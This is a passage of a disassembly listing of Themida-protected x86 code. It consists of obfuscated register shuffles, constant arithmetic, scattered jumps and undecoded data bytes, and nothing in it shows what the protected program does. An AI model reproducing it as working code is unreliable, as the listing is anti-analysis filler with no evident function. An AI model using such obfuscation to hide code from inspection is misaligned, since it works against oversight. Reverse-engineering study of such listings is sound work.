		shr	edx, 8
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5D6C7A0Ch
		push	esi
		mov	esi, 13C91386h
		xor	esi, 273768FDh
		inc	esi
		jmp	loc_56B1A3
; ---------------------------------------------------------------------------


loc_55DD08:				; CODE XREF: Themida_:0056A789j
		add	al, bl
		sub	al, 6Fh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		jmp	loc_56DD57
; ---------------------------------------------------------------------------
aZssr		db 'Zé˜R',0
		db 0
; ---------------------------------------------------------------------------


loc_55DD2B:				; CODE XREF: Themida_:0055FF84j
		pop	eax
		add	eax, 4
		push	ebp
		push	esi
		push	7B160C11h
		mov	esi, [esp]
		add	esp, 4
		neg	esi
		push	edx
		jmp	loc_56A6A4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 0E9243489h, 1A39h
; ---------------------------------------------------------------------------


loc_55DD58:				; CODE XREF: Themida_:0056EA3Dj
		mov	[esp], ebx
		jmp	loc_55FF58
; ---------------------------------------------------------------------------
		dd 8002E2C0h, 815001EAh, 4ECh, 241C8900h, 0EF8041B7h, 5BF88892h
		dd 0E903E0C0h, 9E61h
; ---------------------------------------------------------------------------


loc_55DD80:				; CODE XREF: Themida_:0055DA0Aj
		sub	ebp, 0D4344613h
		and	ecx, ebp
		jmp	loc_56378C
; ---------------------------------------------------------------------------


loc_55DD8D:				; CODE XREF: Themida_:00568388j
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		jmp	loc_56EFE0
; ---------------------------------------------------------------------------
		dw 0EF80h
		dd 80D728ACh, 0EF80ACC7h, 0F8205A29h, 81241C8Bh, 4C4h
		dd 0C08C0C00h, 0D0F607E0h, 0C180912Ch, 53C10086h, 0E7C0C0B7h
		dd 95EF8008h, 0E9EDF780h, 1252Bh, 8106EAC1h, 7A1FCAEAh
		dd 66A66801h, 14890000h, 241C8B24h, 0FF04C483h,	34FF2434h
		dd 0D93CE924h, 0EF290000h, 11B7BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DE0D:				; CODE XREF: Themida_:00571271j
		xor	ecx, 22B91F69h
		add	edi, ecx
		pop	ecx
		add	edi, 0D0F08E5Bh
		jmp	loc_567492
; ---------------------------------------------------------------------------


loc_55DE21:				; CODE XREF: Themida_:0056B480j
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		neg	ecx
		neg	ecx
		add	ecx, 2A741C55h
		jmp	loc_56B2C0
; ---------------------------------------------------------------------------
aAiwfx		db '(ÀëwfX',0
		db 0F3h
		dd 0E9C6B151h, 0B317h, 0F587DEF7h, 1B850h, 0C5810000h
		dd 45303BBBh, 0D8E9C529h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE5F:				; CODE XREF: Themida_:0056BFF5j
		xor	esi, eax
		xor	eax, esi
		push	2D84h
		jmp	loc_56FC22
; ---------------------------------------------------------------------------
aSat		db '[éíT',0
		dw 100h
		dd 243C8BFBh, 8304C483h, 0DDE904C3h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE83:				; CODE XREF: Themida_:00566D40j
		pop	esp
		mov	esi, edx
		push	dword ptr [esp]
		jmp	loc_56B5EE
; ---------------------------------------------------------------------------


loc_55DE8E:				; CODE XREF: Themida_:0056CDBEj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_55DEA4:				; CODE XREF: Themida_:0056585Cj
					; Themida_:0056DD74j
		push	5A95h
		jmp	loc_56F71A
; ---------------------------------------------------------------------------
		dw 31BEh
		dd 0C174F847h, 75E904E6h, 81000067h, 9E4E52F5h,	0A344E903h
		dd 0E95A0000h, 0FFFFF2FAh
; ---------------------------------------------------------------------------


loc_55DECC:				; CODE XREF: Themida_:0056B2D0j
		mov	edx, 6F8F58EEh
		push	eax
		push	edx
		jmp	loc_565032
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4ECh, 241C8900h, 0C3815B54h, 4, 2769E952h
		dd 0B8500001h, 75E0C9Ch, 3A65B80Dh, 660A0517h, 0C2350F41h
		dd 2926BFD3h, 24048BC5h, 0E904C483h, 0DB9Ah
; ---------------------------------------------------------------------------


loc_55DF14:				; CODE XREF: Themida_:0056A7D8j
		push	edi
		mov	edi, 1AFEDF3h
		jmp	loc_57053C
; ---------------------------------------------------------------------------
		db 81h
		dd 32058BEEh, 81EE2919h, 32058BC6h, 0D5EE8119h,	8140F040h
		dd 524D58C6h, 74EE8160h, 8B10C041h, 0C483242Ch,	0BB535104h
		dd 9C27356h, 211EEB81h,	0D989ADB8h, 0E9C1495Bh,	3E9C107h
		dd 57F968h, 243C8900h, 67CBE9h,	4EC8300h, 52242489h, 4BAh
		dd 24540100h, 81595A04h, 4C1h, 2B85000h, 81000000h, 4D1E37E9h
		dd 0B7ABE97Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF92:				; CODE XREF: Themida_:00565388j
		mov	[esp], ebx
		mov	ebx, 1
		sub	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		sub	esi, 8E65424h
		add	esi, ebx
		add	esi, 8E65424h
		jmp	loc_569F7C
; ---------------------------------------------------------------------------


loc_55DFC9:				; CODE XREF: Themida_:0055DC3Ej
		shr	eax, 0Ch
		xor	eax, ecx
		xchg	eax, ecx
		push	ecx
		push	0F5Ah
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_56C751
; ---------------------------------------------------------------------------


loc_55DFE1:				; CODE XREF: Themida_:0056987Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55F09A
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 3493E9h, 5BD98900h, 62FAC181h, 43E95263h
		db 1Ah,	1, 0
; ---------------------------------------------------------------------------


loc_55DFFF:				; CODE XREF: Themida_:0056EAA6j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_563D71
; ---------------------------------------------------------------------------
aFZsU		db 'f)×Z鲓',0
		dw 0BA00h
		dd 4, 1C0FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E029:				; CODE XREF: Themida_:00561728j
		add	edi, 56D4C935h
		sub	ebp, 77B05946h
		add	ebp, edi
		add	ebp, 77B05946h
		pop	edi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5706CA
; ---------------------------------------------------------------------------
		db 2Dh,	0BDh, 1Dh
		dd 0C18901E0h, 0D5C58158h, 0E9187D4Bh, 0EDE8h, 243C3166h
		dd 6C01E9h, 243C3300h, 33243C31h, 895C243Ch, 0A7E92414h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E07B:				; CODE XREF: Themida_:0056B383j
		mov	ecx, 387C563Ch
		jmp	loc_560504
; ---------------------------------------------------------------------------
		db 89h,	0EEh, 5Dh
		dd 1067E959h, 0F0080000h, 4DC0C5Ah, 58C730D2h, 0E95BF830h
		dd 0A400h
; ---------------------------------------------------------------------------


loc_55E0A0:				; CODE XREF: Themida_:0056EBDAj
		mov	ebx, 5A2E10D5h
		push	edx
		mov	edx, 7036788Ch
		neg	edx
		xor	edx, 0D5E397A1h
		jmp	loc_567FA4
; ---------------------------------------------------------------------------


loc_55E0B8:				; CODE XREF: Themida_:0056424Ej
		xor	edi, 318D1C5Eh
		or	ebx, edi
		pop	edi
		jmp	loc_56888C
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 8B241487h,	80E92424h, 0FF0000D7h, 0FF042474h
		dd 525F2434h, 0CE9E289h, 68000055h, 4, 8BD0015Ah, 89562414h
		dd 4C681E6h, 0E9000000h, 0B5C2h, 30D8C780h, 0C386E9F8h
		dd 8B660000h, 8968240Ch, 89000016h, 0AAE9242Ch
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E11B:				; CODE XREF: Themida_:00567C8Ej
		mov	ebp, 4
		jmp	loc_56AC94
; ---------------------------------------------------------------------------
		db 0B9h, 80h, 78h
		dd 0E98167BDh, 7440574h, 0A305E9h, 28EE8100h, 0E9339416h
		dd 72C5h, 1C33585Ah, 241C3124h,	8B241C33h, 1CE92424h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E153:				; CODE XREF: Themida_:005600F8j
		add	esp, 4
		push	edx
		mov	edx, 7C296D7Fh
		shr	edx, 2
		sub	edx, 43056873h
		jmp	loc_561B69
; ---------------------------------------------------------------------------
		dw 405h
		dd 83000000h, 48704C0h,	274EE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55E17A:				; CODE XREF: Themida_:0056EF0Ej
		add	esp, 4
		or	esi, offset byte_5D4837
		xor	esi, 42453EE7h
		sub	esi, 29941D53h
		jmp	loc_56A25B
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8704E9h, 24248B24h, 0FF240C89h, 8B042474h,	0C481240Ch
		dd 4, 8B24048Fh, 8B662424h, 46E92414h, 8100005Eh, 3640E6F7h
		dd 55E7D169h, 0C46C25BDh, 0CFF58116h, 1893FBDh,	31C7E9EFh
		dd 0BE560000h, 0C149A357h, 0F75BE9h, 242C8700h,	2404895Ch
		dd 316EC5B8h, 0E9C5013Fh, 4619h
; ---------------------------------------------------------------------------


loc_55E1F8:				; CODE XREF: Themida_:0055CDEFj
		mov	esi, 1DF97277h
		jmp	loc_55D7F8
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 73C16799h, 670AEB81h, 26E91964h, 83000037h, 148904ECh
		dd 4EC8124h, 89000000h,	4832424h, 83E90424h, 8100004Bh
		dd 774A91C2h, 81FA2946h, 774A91EAh, 70F4E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E23E:				; CODE XREF: Themida_:0056378Dj
		add	ecx, 6DED1810h
		xor	ecx, 76332896h
		jmp	loc_56901E
; ---------------------------------------------------------------------------
aSi_0		db '^é›',7,0
		dd 24148700h, 5550565Ch, 0BDD5E9h, 240C8900h, 0BD555954h
		dd 7C02136h, 3F82BE56h,	814E548Dh, 0E30327F6h, 0EE814E53h
		dd 344D1593h, 0B7BCC681h, 8FE9251Eh, 0BD000085h, 5F871F4Fh
		dd 4432ED81h, 0E94D2B45h, 5Dh, 0BA241489h, 0
		dd 98F5E9h, 80C6B000h, 84E977C3h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E2B3:				; CODE XREF: Themida_:0057130Dj
		dec	edi
		add	edi, 1746E949h
		jmp	loc_56DCC6
; ---------------------------------------------------------------------------
aSbuhSxa	db '¹sBîh)Ëéxí',0
		dw 4700h
		dd 7C5EBB53h, 92E95631h, 55000001h, 20243481h, 582A8175h
		dd 81752035h, 0B8505D2Ah, 439D4824h, 225853BBh,	58C3313Bh
		dd 0FDE2E9h, 4E5C100h, 2BEE581h, 0F581348Eh, 40C0084h
		dd 0EDE9EF89h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------


loc_55E30F:				; CODE XREF: Themida_:0056BAE6j
		sub	eax, 3ECF1B5Ch
		jmp	loc_5620D8
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 54000000h, 5524048Fh, 4BDh, 246C0100h, 575D5D04h, 7C6FE9h
		dd 0D0005800h, 5A2434FFh, 3D1BE952h, 0D8680000h, 8900004Eh
		dd 0FFBF243Ch, 29FFFFFFh, 2E4DE9FBh, 0C4830001h, 0BAA6E904h
		dd 53580000h, 0FB5DE2BBh, 24C38160h, 8128DF7Bh,	0B97546CBh
		dd 0C381437Bh, 1DCD089Bh, 83DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E37D:				; CODE XREF: Themida_:00569626j
		add	esp, 4
		or	esi, 7FA233D9h
		push	edi
		mov	edi, 1A3855C2h
		shl	edi, 7
		push	ebp
		mov	ebp, 0E3911AF8h
		xor	edi, ebp
		jmp	loc_56F18E
; ---------------------------------------------------------------------------


loc_55E39C:				; CODE XREF: Themida_:0056BDE9j
		push	ecx
		mov	ecx, 4C9F5A4Eh
		jmp	loc_56D406
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0AE8F781h, 91E90DE6h, 8B00004Fh, 0E9502414h,	2763h
; ---------------------------------------------------------------------------


loc_55E3BC:				; CODE XREF: Themida_:00567E62j
		push	ebp
		pop	esi
		pop	ebp
		jmp	loc_565503
; ---------------------------------------------------------------------------


loc_55E3C4:				; CODE XREF: Themida_:0056CABFj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, 77F5B33h
		push	65C3h
		jmp	loc_56EBD7
; ---------------------------------------------------------------------------
		db 88h
		dd 5AD388CAh, 0FFD83059h, 1C8B2434h, 72A36824h,	2C890000h
		dd 81E58924h, 4C5h, 4C58100h, 87000000h, 565C242Ch, 9C5E954h
		dd 0CA290000h, 51C22959h, 0C07EE8B9h, 37C2817Fh, 0E963290Fh
		dd 128E7h, 66E95556h
		db 0CEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E42F:				; CODE XREF: Themida_:0056AAA3j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	eax, esi
		pop	esi
		push	edi
		mov	edi, 58FC5AE0h
		add	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 521F6592h
		neg	ebx
		sub	ebx, 7940037Dh
		add	ebx, 2B506FC8h
		or	eax, ebx
		jmp	loc_55CAA3
; ---------------------------------------------------------------------------
aR@6B9vZst	db 'Rº@6Æ}¿É9‚)ÓZéT¹',0
		dd 0FE32B200h, 0B15166CAh, 20EA80DDh, 88E9CA28h, 68000125h
		dd 0B4Ch, 0FF240C89h, 0E9042474h, 0CC0Dh, 5C0BFE68h, 24348B27h
		dd 8104C483h, 4ECh, 243C8900h, 0FC601ABFh, 68BB5368h, 810DCE6Eh
		dd 0BD02EEC3h, 476FE91Ch, 0C890000h, 0CAE4E924h, 525E0000h
		dd 114676BAh, 0E9D12970h, 0A578h
; ---------------------------------------------------------------------------


loc_55E4E0:				; CODE XREF: Themida_:00567526j
		push	274Eh
		mov	[esp], edi
		push	2C77AF0h
		jmp	loc_55ECE5
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B1F9013Dh, 3490E9h,	24148B00h, 5504C483h, 2BDh, 0DC2AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E50E:				; CODE XREF: Themida_:0056BA8Fj
		sub	edx, ecx
		sub	edx, 71500E3h
		pop	ecx
		sub	edx, eax
		jmp	loc_5692F2
; ---------------------------------------------------------------------------


loc_55E51E:				; CODE XREF: Themida_:0056D1D0j
		and	edx, 5F1F43C1h
		shl	edx, 3
		push	ebx
		mov	ebx, 605E792Bh
		jmp	loc_55F216
; ---------------------------------------------------------------------------


loc_55E532:				; CODE XREF: Themida_:00567FBEj
		push	ebx
		mov	ebx, 40D325F8h
		jmp	loc_567781
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 24148B04h, 0E904C483h, 6BE5h
; ---------------------------------------------------------------------------


loc_55E54C:				; CODE XREF: Themida_:0056889Cj
		inc	eax
		add	eax, 0E4D8FCFFh
		xor	ebx, eax
		pop	eax
		push	eax
		push	ebx
		mov	ebx, 181A35B5h
		mov	eax, ebx
		jmp	loc_56D590
; ---------------------------------------------------------------------------
		db 5
		dd 42502813h, 40E8E9h, 0B60F5800h, 8734FFC0h, 0E1E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E579:				; CODE XREF: Themida_:00570722j
		mov	[esp], ebp
		jmp	loc_55EAD0
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 5455E1F7h, 3F90E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E58E:				; CODE XREF: Themida_:0056A4A6j
		push	ebx
		mov	ebx, 13101984h
		jmp	loc_55D634
; ---------------------------------------------------------------------------


loc_55E599:				; CODE XREF: Themida_:0056C754j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_56D3CC
; ---------------------------------------------------------------------------


loc_55E5A7:				; CODE XREF: Themida_:0056F189j
		mov	[esp], eax
		push	7ECAh
		mov	[esp], edx
		mov	dh, cl
		push	ebx
		mov	bl, dh
		mov	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		mov	dl, ah
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55CF24
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 572D7CB8h, 15BDA01h,	40EA81DAh, 5B58D17Dh, 2474FF52h
		dd 48F5A04h, 1C7CE924h,	55250000h, 2D4D7557h, 701D15C4h
		dd 0ADE9C731h
		db 21h,	1, 0
; ---------------------------------------------------------------------------


loc_55E5FF:				; CODE XREF: Themida_:0056680Dj
		mov	edi, 7D465E43h
		mov	ecx, edi
		pop	edi
		jmp	loc_570329
; ---------------------------------------------------------------------------
		dd 89E9CE31h, 81000129h, 91A5CF5h, 8E5C167h, 0E94DEDD1h
		dd 207Eh, 0C581E589h, 4, 8704ED83h, 0E95C242Ch,	5A6Ah
		dd 735EAFB9h, 73C38163h, 0E97F1556h, 0C5EEh, 494C681h
		dd 6EE9A54Dh, 0BA0000EDh, 0
		dd 0D687F229h, 934DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E661:				; CODE XREF: Themida_:00568378j
		push	edi
		mov	edi, 6ADA2E28h
		jmp	loc_568488
; ---------------------------------------------------------------------------
		dd 72C6D8BFh, 0E9FA298Dh, 0FBAAh, 256E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55E67E:				; CODE XREF: Themida_:005604E7j
		neg	edx
		shr	edx, 4
		jmp	loc_5699DA
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0CC76h, 317568h,	241C8900h, 8502DD68h, 241C8B1Ch
		dd 4C481h, 0DBF70000h, 54BA5250h, 815E6A04h, 3F2D43E2h
		dd 2E2C12Dh, 5168F281h,	0D0891998h, 54FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E6C5:				; CODE XREF: Themida_:00565911j
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_566803
; ---------------------------------------------------------------------------


loc_55E6D1:				; CODE XREF: Themida_:0057113Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5708EB
; ---------------------------------------------------------------------------
aYssc2		db 'YSéC2',0
		align 4
		dd 6624248Bh, 9C240409h, 0FFDD2DE9h, 0B37AB1FFh, 66DDE9B1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E6FE:				; CODE XREF: Themida_:0056B53Ej
		sub	ebx, 73C479Dh
		sub	ebx, esi
		add	ebx, 73C479Dh
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 525A0572h
		shl	ebx, 3
		jmp	loc_56142C
; ---------------------------------------------------------------------------
		dd 8B5AF388h, 0C481240Ch, 4, 8B66D830h,	0E368241Ch, 89000062h
		dd 0E389241Ch, 552A68h,	243C8900h, 747FB951h, 0BD555046h
		dd 37061776h, 57E9DDF7h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E757:				; CODE XREF: Themida_:00569685j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		jmp	loc_569B9C
; ---------------------------------------------------------------------------
aSc_0		db '^é—',1Bh,0
		dd 0E9E2B200h, 2061h, 2606CE81h, 0D0E93481h, 83000003h
		dd 0AE904EEh, 5C000093h, 0E99CC83Bh, 0FFFFDC8Ah, 4C481h
		dd 0E5D10000h, 4A5DED81h, 0DDF778BAh, 0AFFBC581h, 0EF89F8EBh
		dd 685Dh, 3C290000h, 0E7815F24h, 58B80343h, 0EFC1E7D1h
		dd 63BB5302h, 0E913C950h, 83BDh, 5BDA015Fh, 0EA81CA01h
		dd 35191DDAh, 592434FFh, 8104C483h, 105843EBh, 55D30142h
		dd 5843BB53h, 0DD894210h, 5DEB015Bh, 12780E9h, 241C8B00h
		dd 4C481h, 0D7880000h, 387F885Ah, 11E6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E812:				; CODE XREF: Themida_:00568775j
		shl	edx, 1
		push	ebx
		push	ebp
		mov	ebp, 64324DD5h
		sub	ebp, 0FFFFFFFFh
		push	edi
		push	eax
		mov	eax, 72E84656h
		jmp	loc_56C3A2
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 5Ah
		dd 0C175367Ch, 0EC8102EFh, 4, 0B9240C89h, 1DE70A67h, 8149D9F7h
		dd 35C751F1h, 59CF21EEh, 78E1C781h, 0EE8196F2h,	6AA639E2h
		dd 0A4E9FE01h, 5600005Fh, 0FFF645E9h, 4BDFFh, 0D4E90000h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E873:				; CODE XREF: Themida_:0055D269j
		sub	al, 0CBh
		add	al, ch
		push	ebx
		mov	bh, 96h
		xor	bh, 4Bh
		shl	bh, 4
		and	bh, 0E8h
		sub	bh, 0F5h
		add	al, bh
		pop	ebx
		jmp	loc_55EB50
; ---------------------------------------------------------------------------


loc_55E88E:				; CODE XREF: Themida_:0055EB52j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56039F
; ---------------------------------------------------------------------------
		db 5
		dd 2FE25106h, 2C702505h, 8BC50190h, 0C4832404h,	4EC8104h
		dd 89000000h, 4BF243Ch,	81000000h, 4B7666EDh, 0E6BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8CE:				; CODE XREF: Themida_:00560E5Fj
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55CA87
; ---------------------------------------------------------------------------
		db 0F7h
		dd 45BB53D0h, 815B456Fh, 0F40D1CEBh, 206AE91Fh,	0C4800000h
		dd 0E9E3282Ah, 78E9h, 83241C8Bh, 0E63004C4h, 0E630F430h
		dd 0E474E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E91D:				; CODE XREF: Themida_:00568FF2j
		push	7DACh
		jmp	loc_55EE04
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2D64E12h, 682AC781h,	0E7C1117Ah, 4BEDE903h, 0EF810000h
		dd 412C35Ch, 1049CE9h, 1C77FF00h, 6658669Dh, 9C240419h
		dd 0FFDACDE9h, 4C481FFh, 56000000h, 12037E9h, 0C4835A00h
		dd 0EB7BE904h, 89660000h, 0F7E92414h, 81FFFFE7h, 4C5h
		dd 0F574E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E97E:				; CODE XREF: Themida_:00568CF5j
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56D0F3
; ---------------------------------------------------------------------------


loc_55E98D:				; CODE XREF: Themida_:005613C0j
		push	edx
		jmp	loc_5667E8
; ---------------------------------------------------------------------------
		db 50h
		dd 7C2E43B8h, 2D75051Ch, 14E955E3h, 0C00000EDh,	0C58008E5h
		dd 0C448E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9AE:				; CODE XREF: Themida_:0056E421j
		mov	ecx, ebx
		push	ecx
		pop	esi
		mov	ecx, [esp]
		push	edi
		jmp	loc_560CDB
; ---------------------------------------------------------------------------
		db 54h
		dd 4C2815Ah, 81000000h,	4C2h, 24148700h, 886AE9h, 88E9AD00h
		dd 810000CCh, 4C4h, 0CC34E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9E2:				; CODE XREF: Themida_:00569930j
		mov	esi, [esp]
		jmp	loc_56EE6D
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 79F7h, 58D9C681h, 0E5E92233h, 890000EFh, 42BB241Ch
		dd 4B5C4951h, 7A28BD55h, 0EB091834h, 0BA6DE9h, 2DBA5200h
		dd 0E908DD23h, 0BC47h, 0CE81DEF7h, 3D6C0396h, 0FFFC1FE9h
		dd 45EE87FFh, 5D5E5556h, 63D8CE81h, 0E6C14EFEh,	8EEC107h
		dd 5669F681h, 26E94C61h, 5F000124h, 4C681h, 34870000h
		dd 24248B24h, 0C352E951h, 595B0000h, 0E904E8C0h, 0F173h
		dd 54243489h, 4C6815Eh,	50000000h, 0D3153DB8h, 78F8051Dh
		dd 312D7B84h, 199578Eh,	0E95658C6h, 10322h, 0EB81F387h
		dd 13F033CDh, 36E9D831h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA97:				; CODE XREF: Themida_:005698EFj
		add	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 130A3046h
		jmp	loc_56F550
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 56h
		dd 1334B6BEh, 0B2F68143h, 0E9431334h, 25DAh, 33D8CF81h
		dd 0DFF74649h, 0E903E7C1h, 0CBD8h, 0E9D831ADh, 0AAA6h
; ---------------------------------------------------------------------------


loc_55EAD0:				; CODE XREF: Themida_:0055E57Cj
		mov	ebp, 10h
		push	ebp
		jmp	loc_56462A
; ---------------------------------------------------------------------------
		align 4
		dd 0DB4CE9F8h, 54680000h, 59424974h, 0C8BCB29h,	0DCD5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EAF2:				; CODE XREF: Themida_:0056BF0Fj
		mov	dh, 8Ah
		xor	cl, dh
		mov	dx, [esp]
		jmp	loc_567768
; ---------------------------------------------------------------------------
		db 56h
		dd 2730C5BEh, 38C68119h, 0E90D2963h, 0CA68h
; ---------------------------------------------------------------------------


loc_55EB10:				; CODE XREF: Themida_:00564A56j
		xor	esi, 4A37D3ACh
		sub	eax, 0B7E414Fh
		jmp	loc_55C5C1
; ---------------------------------------------------------------------------


loc_55EB20:				; CODE XREF: Themida_:0056D37Fj
		mov	di, ax
		pop	eax
		dec	di
		sub	di, 204Fh
		add	di, 420Eh
		or	bp, di
		mov	edi, [esp]
		push	ecx
		jmp	loc_56A1F2
; ---------------------------------------------------------------------------
		dd 5A241CF6h, 0E922F280h, 0FA67h
; ---------------------------------------------------------------------------


loc_55EB48:				; CODE XREF: Themida_:005643A1j
		xchg	eax, [esp]
		jmp	loc_56F704
; ---------------------------------------------------------------------------


loc_55EB50:				; CODE XREF: Themida_:0055E889j
		add	al, 12h
		jmp	loc_55E88E
; ---------------------------------------------------------------------------
		db 81h
		dd 0F477C4F6h, 0B9EE8104h, 9C94238h, 0BA525EF1h, 23A66DEh
		dd 303DEA81h, 0B9510713h, 6EBC3025h, 0CE98141h,	0E959F124h
		dd 0FFFFE33Bh, 5FF8315Dh, 10597E9h, 59E80000h, 0D8282A04h
		dd 0F238E953h, 0C3810000h, 4, 0AC5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EBA5:				; CODE XREF: Themida_:00568174j
		sub	esi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		mov	edx, 76D14DD6h
		and	edx, 7262488Eh
		xor	edx, 414964F8h
		jmp	loc_566D93
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0FBh
		dd 0BA00007Ch, 2, 0DDF2E9h, 24048F00h, 6624248Bh, 2404B30Fh
		dd 0EEF5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBEA:				; CODE XREF: Themida_:0056A09Cj
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edi
		mov	edi, 4
		push	ebp
		mov	ebp, 35DE5C3Eh
		sub	ebp, 69FB77F7h
		jmp	loc_564AAA
; ---------------------------------------------------------------------------
		db 80h,	0EFh, 94h
		dd 0CF80DFF6h, 12C3E950h, 0C4050001h, 0E9DFEACFh, 3F71h
		dd 56E38953h, 4BEh, 0E9F30100h,	0A996h,	8704C083h, 315C2404h
		dd 9B5CE9DFh, 0F7BD0000h, 312AA32Fh, 0E9815DE9h, 0FF32F70h
		dd 78C0B850h, 0BBE94C7Fh, 0F70000F5h, 57D9F7D1h, 0EEA8E9h
		dd 24048B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	361Fh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_56E267
; ---------------------------------------------------------------------------


loc_55EC87:				; CODE XREF: Themida_:005639F7j
		add	ecx, 52CA354Ah
		push	edx
		push	edi
		jmp	loc_55D85F
; ---------------------------------------------------------------------------
aRsol		db 'RéoL',0
		align 2
		dw 8B3h
		dd 0C380D3F6h, 0B85DE97Fh, 0EA800000h, 19E3E91Ch, 0E9810001h
		dd 3B733BD0h, 0E0E9D129h, 830000C1h, 348904ECh,	9EB95124h
		dd 0E9223D5Ah, 99B6h, 5748585Fh, 0F7585F50h, 0E3B850D7h
		dd 257DDA28h, 5C203C58h, 2CFDE9h
		db 0
; ---------------------------------------------------------------------------


loc_55ECE5:				; CODE XREF: Themida_:0055E4EDj
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 0B627EDEh
		xor	edi, 99119C3Ah
		mov	ecx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55CFC8
; ---------------------------------------------------------------------------


loc_55ED04:				; CODE XREF: Themida_:0056E44Ej
